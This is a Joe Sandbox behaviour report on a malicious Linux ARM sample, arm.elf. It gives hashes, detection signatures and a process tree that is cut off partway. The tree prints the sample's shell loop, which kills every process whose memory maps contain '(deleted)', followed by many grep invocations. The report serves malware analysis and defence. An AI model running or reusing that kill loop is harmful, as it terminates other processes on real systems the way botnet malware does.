Edit tour

Linux Analysis Report
arm.elf

Overview

General Information

Sample name:	arm.elf
Analysis ID:	1582892
MD5:	6d540ee3573bee4f63cbffac9466d013
SHA1:	99e2dcde9a1fc6300130829d59876e7f9c056e55
SHA256:	3c77fd70d6efc232db2ed2c0411b09454da2bce8b7e55184dd40b8922f152252
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Reads system files that contain records of logged in users

Sample reads /proc/mounts (often used for finding a writable filesystem)

Sample tries to kill multiple processes (SIGKILL)

Creates hidden files and/or directories

Executes commands using a shell command-line interpreter

Executes the "grep" command used to find patterns in files or piped streams

Found strings indicative of a multi-platform dropper

Reads CPU information from /sys indicative of miner or evasive malware

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582892
Start date and time:	2024-12-31 19:16:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm.elf
Detection:	MAL
Classification:	mal68.spre.troj.linELF@0/5@0/0

Warnings

Report size exceeded maximum capacity and may have missing behavior information.
VT rate limit hit for: arm.elf

Runtime Messages

Command:	/tmp/arm.elf
PID:	6238
Exit Code:
Exit Code Info:
Killed:	True
Standard Output:
Standard Error:	grep: /proc/1576/maps: No such file or directory grep: /proc/1579/maps: No such file or directory grep: /proc/1582/maps: No such file or directory grep: /proc/1586/maps: No such file or directory grep: /proc/1612/maps: No such file or directory grep: /proc/1629/maps: No such file or directory grep: /proc/2014/maps: No such file or directory grep: /proc/2025/maps: No such file or directory grep: /proc/2077/maps: No such file or directory grep: /proc/2078/maps: No such file or directory grep: /proc/2079/maps: No such file or directory grep: /proc/2080/maps: No such file or directory grep: /proc/2083/maps: No such file or directory grep: /proc/2084/maps: No such file or directory grep: /proc/2223/maps: No such file or directory

Process Tree

system is lnxubuntu20

arm.elf (PID: 6238, Parent: 6159, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm.elf

arm.elf New Fork (PID: 6240, Parent: 6238)

sh (PID: 6240, Parent: 6238, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "for pid in $(ls /proc | grep -E '^[0-9]+$'); do grep -q '(deleted)' /proc/$pid/maps && kill -9 $pid || true; done;"

sh New Fork (PID: 6246, Parent: 6240)

sh New Fork (PID: 6247, Parent: 6246)

ls (PID: 6247, Parent: 6246, MD5: e7793f15c2ff7e747b4bc7079f5cd4f7) Arguments: ls /proc

sh New Fork (PID: 6248, Parent: 6246)

grep (PID: 6248, Parent: 6246, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -E ^[0-9]+$

sh New Fork (PID: 6249, Parent: 6240)

grep (PID: 6249, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1/maps

sh New Fork (PID: 6250, Parent: 6240)

grep (PID: 6250, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/10/maps

sh New Fork (PID: 6251, Parent: 6240)

grep (PID: 6251, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/100/maps

sh New Fork (PID: 6252, Parent: 6240)

grep (PID: 6252, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/101/maps

sh New Fork (PID: 6253, Parent: 6240)

grep (PID: 6253, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/102/maps

sh New Fork (PID: 6254, Parent: 6240)

grep (PID: 6254, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/103/maps

sh New Fork (PID: 6255, Parent: 6240)

grep (PID: 6255, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/104/maps

sh New Fork (PID: 6256, Parent: 6240)

grep (PID: 6256, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/105/maps

sh New Fork (PID: 6257, Parent: 6240)

grep (PID: 6257, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/106/maps

sh New Fork (PID: 6258, Parent: 6240)

grep (PID: 6258, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/107/maps

sh New Fork (PID: 6259, Parent: 6240)

grep (PID: 6259, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/108/maps

sh New Fork (PID: 6260, Parent: 6240)

grep (PID: 6260, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/109/maps

sh New Fork (PID: 6261, Parent: 6240)

grep (PID: 6261, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/11/maps

sh New Fork (PID: 6262, Parent: 6240)

grep (PID: 6262, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/110/maps

sh New Fork (PID: 6263, Parent: 6240)

grep (PID: 6263, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/111/maps

sh New Fork (PID: 6264, Parent: 6240)

grep (PID: 6264, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/112/maps

sh New Fork (PID: 6265, Parent: 6240)

grep (PID: 6265, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/113/maps

sh New Fork (PID: 6266, Parent: 6240)

grep (PID: 6266, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/114/maps

sh New Fork (PID: 6267, Parent: 6240)

grep (PID: 6267, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/115/maps

sh New Fork (PID: 6268, Parent: 6240)

grep (PID: 6268, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/116/maps

sh New Fork (PID: 6269, Parent: 6240)

grep (PID: 6269, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/117/maps

sh New Fork (PID: 6270, Parent: 6240)

grep (PID: 6270, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/118/maps

sh New Fork (PID: 6271, Parent: 6240)

grep (PID: 6271, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/119/maps

sh New Fork (PID: 6272, Parent: 6240)

grep (PID: 6272, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/12/maps

sh New Fork (PID: 6273, Parent: 6240)

grep (PID: 6273, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/120/maps

sh New Fork (PID: 6274, Parent: 6240)

grep (PID: 6274, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1207/maps

sh New Fork (PID: 6275, Parent: 6240)

grep (PID: 6275, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/121/maps

sh New Fork (PID: 6276, Parent: 6240)

grep (PID: 6276, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/122/maps

sh New Fork (PID: 6277, Parent: 6240)

grep (PID: 6277, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/123/maps

sh New Fork (PID: 6278, Parent: 6240)

grep (PID: 6278, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/124/maps

sh New Fork (PID: 6279, Parent: 6240)

grep (PID: 6279, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/125/maps

sh New Fork (PID: 6280, Parent: 6240)

grep (PID: 6280, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/126/maps

sh New Fork (PID: 6281, Parent: 6240)

grep (PID: 6281, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/127/maps

sh New Fork (PID: 6282, Parent: 6240)

grep (PID: 6282, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/128/maps

sh New Fork (PID: 6283, Parent: 6240)

grep (PID: 6283, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/13/maps

sh New Fork (PID: 6284, Parent: 6240)

grep (PID: 6284, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/130/maps

sh New Fork (PID: 6285, Parent: 6240)

grep (PID: 6285, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/132/maps

sh New Fork (PID: 6286, Parent: 6240)

grep (PID: 6286, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1320/maps

sh New Fork (PID: 6287, Parent: 6240)

grep (PID: 6287, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1334/maps

sh New Fork (PID: 6288, Parent: 6240)

grep (PID: 6288, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1335/maps

sh New Fork (PID: 6289, Parent: 6240)

grep (PID: 6289, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1344/maps

sh New Fork (PID: 6290, Parent: 6240)

grep (PID: 6290, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1349/maps

sh New Fork (PID: 6291, Parent: 6240)

grep (PID: 6291, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1389/maps

sh New Fork (PID: 6292, Parent: 6240)

grep (PID: 6292, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/14/maps

sh New Fork (PID: 6293, Parent: 6240)

grep (PID: 6293, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/141/maps

sh New Fork (PID: 6294, Parent: 6240)

grep (PID: 6294, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/144/maps

sh New Fork (PID: 6295, Parent: 6240)

grep (PID: 6295, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1463/maps

sh New Fork (PID: 6296, Parent: 6240)

grep (PID: 6296, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1465/maps

sh New Fork (PID: 6297, Parent: 6240)

grep (PID: 6297, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1475/maps

sh New Fork (PID: 6298, Parent: 6240)

grep (PID: 6298, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1476/maps

sh New Fork (PID: 6299, Parent: 6240)

grep (PID: 6299, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1477/maps

sh New Fork (PID: 6300, Parent: 6240)

grep (PID: 6300, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1489/maps

sh New Fork (PID: 6301, Parent: 6240)

grep (PID: 6301, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1494/maps

sh New Fork (PID: 6302, Parent: 6240)

grep (PID: 6302, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/15/maps

sh New Fork (PID: 6303, Parent: 6240)

grep (PID: 6303, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1532/maps

sh New Fork (PID: 6304, Parent: 6240)

grep (PID: 6304, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/157/maps

sh New Fork (PID: 6310, Parent: 6240)

grep (PID: 6310, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1576/maps

sh New Fork (PID: 6311, Parent: 6240)

grep (PID: 6311, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1579/maps

sh New Fork (PID: 6312, Parent: 6240)

grep (PID: 6312, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1582/maps

sh New Fork (PID: 6313, Parent: 6240)

grep (PID: 6313, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1586/maps

sh New Fork (PID: 6314, Parent: 6240)

grep (PID: 6314, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1594/maps

sh New Fork (PID: 6315, Parent: 6240)

grep (PID: 6315, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1599/maps

sh New Fork (PID: 6316, Parent: 6240)

grep (PID: 6316, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/16/maps

sh New Fork (PID: 6317, Parent: 6240)

grep (PID: 6317, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1601/maps

sh New Fork (PID: 6318, Parent: 6240)

grep (PID: 6318, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1612/maps

sh New Fork (PID: 6321, Parent: 6240)

grep (PID: 6321, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1622/maps

sh New Fork (PID: 6322, Parent: 6240)

grep (PID: 6322, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1623/maps

sh New Fork (PID: 6323, Parent: 6240)

grep (PID: 6323, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1627/maps

sh New Fork (PID: 6326, Parent: 6240)

grep (PID: 6326, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1629/maps

sh New Fork (PID: 6327, Parent: 6240)

grep (PID: 6327, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1632/maps

sh New Fork (PID: 6328, Parent: 6240)

grep (PID: 6328, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1633/maps

sh New Fork (PID: 6329, Parent: 6240)

grep (PID: 6329, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1638/maps

sh New Fork (PID: 6330, Parent: 6240)

grep (PID: 6330, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1639/maps

sh New Fork (PID: 6331, Parent: 6240)

grep (PID: 6331, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1642/maps

sh New Fork (PID: 6332, Parent: 6240)

grep (PID: 6332, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1648/maps

sh New Fork (PID: 6334, Parent: 6240)

grep (PID: 6334, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1654/maps

sh New Fork (PID: 6336, Parent: 6240)

grep (PID: 6336, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1656/maps

sh New Fork (PID: 6337, Parent: 6240)

grep (PID: 6337, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1661/maps

sh New Fork (PID: 6338, Parent: 6240)

grep (PID: 6338, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1664/maps

sh New Fork (PID: 6339, Parent: 6240)

grep (PID: 6339, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1668/maps

sh New Fork (PID: 6340, Parent: 6240)

grep (PID: 6340, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1698/maps

sh New Fork (PID: 6341, Parent: 6240)

grep (PID: 6341, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1699/maps

sh New Fork (PID: 6342, Parent: 6240)

grep (PID: 6342, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/17/maps

sh New Fork (PID: 6345, Parent: 6240)

grep (PID: 6345, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/18/maps

sh New Fork (PID: 6346, Parent: 6240)

grep (PID: 6346, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1809/maps

sh New Fork (PID: 6347, Parent: 6240)

grep (PID: 6347, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1860/maps

sh New Fork (PID: 6351, Parent: 6240)

grep (PID: 6351, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1872/maps

sh New Fork (PID: 6353, Parent: 6240)

grep (PID: 6353, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1877/maps

sh New Fork (PID: 6354, Parent: 6240)

grep (PID: 6354, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1886/maps

sh New Fork (PID: 6355, Parent: 6240)

grep (PID: 6355, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1888/maps

sh New Fork (PID: 6359, Parent: 6240)

grep (PID: 6359, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1890/maps

sh New Fork (PID: 6360, Parent: 6240)

grep (PID: 6360, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1900/maps

sh New Fork (PID: 6369, Parent: 6240)

grep (PID: 6369, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/1983/maps

sh New Fork (PID: 6370, Parent: 6240)

grep (PID: 6370, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2/maps

sh New Fork (PID: 6500, Parent: 6240)

grep (PID: 6500, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/20/maps

sh New Fork (PID: 6521, Parent: 6240)

grep (PID: 6521, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2009/maps

sh New Fork (PID: 6522, Parent: 6240)

grep (PID: 6522, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/201/maps

sh New Fork (PID: 6523, Parent: 6240)

grep (PID: 6523, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2014/maps

sh New Fork (PID: 6526, Parent: 6240)

grep (PID: 6526, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2018/maps

sh New Fork (PID: 6527, Parent: 6240)

grep (PID: 6527, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/202/maps

sh New Fork (PID: 6528, Parent: 6240)

grep (PID: 6528, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2025/maps

sh New Fork (PID: 6529, Parent: 6240)

grep (PID: 6529, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2028/maps

sh New Fork (PID: 6530, Parent: 6240)

grep (PID: 6530, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/203/maps

sh New Fork (PID: 6533, Parent: 6240)

grep (PID: 6533, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2033/maps

sh New Fork (PID: 6534, Parent: 6240)

grep (PID: 6534, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2038/maps

sh New Fork (PID: 6535, Parent: 6240)

grep (PID: 6535, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/204/maps

sh New Fork (PID: 6536, Parent: 6240)

grep (PID: 6536, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2048/maps

sh New Fork (PID: 6537, Parent: 6240)

grep (PID: 6537, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/205/maps

sh New Fork (PID: 6538, Parent: 6240)

grep (PID: 6538, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2050/maps

sh New Fork (PID: 6540, Parent: 6240)

grep (PID: 6540, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/206/maps

sh New Fork (PID: 6542, Parent: 6240)

grep (PID: 6542, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2062/maps

sh New Fork (PID: 6543, Parent: 6240)

grep (PID: 6543, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2063/maps

sh New Fork (PID: 6544, Parent: 6240)

grep (PID: 6544, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2069/maps

sh New Fork (PID: 6549, Parent: 6240)

grep (PID: 6549, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/207/maps

sh New Fork (PID: 6550, Parent: 6240)

grep (PID: 6550, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2074/maps

sh New Fork (PID: 6551, Parent: 6240)

grep (PID: 6551, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2077/maps

sh New Fork (PID: 6553, Parent: 6240)

grep (PID: 6553, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2078/maps

sh New Fork (PID: 6554, Parent: 6240)

grep (PID: 6554, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2079/maps

sh New Fork (PID: 6555, Parent: 6240)

grep (PID: 6555, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/208/maps

sh New Fork (PID: 6558, Parent: 6240)

grep (PID: 6558, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2080/maps

sh New Fork (PID: 6562, Parent: 6240)

grep (PID: 6562, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2083/maps

sh New Fork (PID: 6564, Parent: 6240)

grep (PID: 6564, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2084/maps

sh New Fork (PID: 6567, Parent: 6240)

grep (PID: 6567, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/209/maps

sh New Fork (PID: 6568, Parent: 6240)

grep (PID: 6568, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2096/maps

sh New Fork (PID: 6569, Parent: 6240)

grep (PID: 6569, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2097/maps

sh New Fork (PID: 6571, Parent: 6240)

grep (PID: 6571, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/21/maps

sh New Fork (PID: 6573, Parent: 6240)

grep (PID: 6573, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/210/maps

sh New Fork (PID: 6574, Parent: 6240)

grep (PID: 6574, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2102/maps

sh New Fork (PID: 6575, Parent: 6240)

grep (PID: 6575, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/211/maps

sh New Fork (PID: 6576, Parent: 6240)

grep (PID: 6576, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2114/maps

sh New Fork (PID: 6579, Parent: 6240)

grep (PID: 6579, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/212/maps

sh New Fork (PID: 6580, Parent: 6240)

grep (PID: 6580, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2123/maps

sh New Fork (PID: 6581, Parent: 6240)

grep (PID: 6581, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2126/maps

sh New Fork (PID: 6582, Parent: 6240)

grep (PID: 6582, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2128/maps

sh New Fork (PID: 6583, Parent: 6240)

grep (PID: 6583, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2129/maps

sh New Fork (PID: 6584, Parent: 6240)

grep (PID: 6584, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/213/maps

sh New Fork (PID: 6585, Parent: 6240)

grep (PID: 6585, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/214/maps

sh New Fork (PID: 6586, Parent: 6240)

grep (PID: 6586, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2146/maps

sh New Fork (PID: 6587, Parent: 6240)

grep (PID: 6587, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/215/maps

sh New Fork (PID: 6588, Parent: 6240)

grep (PID: 6588, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/2156/maps

sh New Fork (PID: 6589, Parent: 6240)

grep (PID: 6589, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/216/maps

sh New Fork (PID: 6592, Parent: 6240)

grep (PID: 6592, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/217/maps

sh New Fork (PID: 6594, Parent: 6240)

grep (PID: 6594, Parent: 6240, MD5: 1e6ebb9dd094f774478f72727bdba0f5) Arguments: grep -q (deleted) /proc/218/maps

sh New Fork (PID: 6595, Parent: 6240)

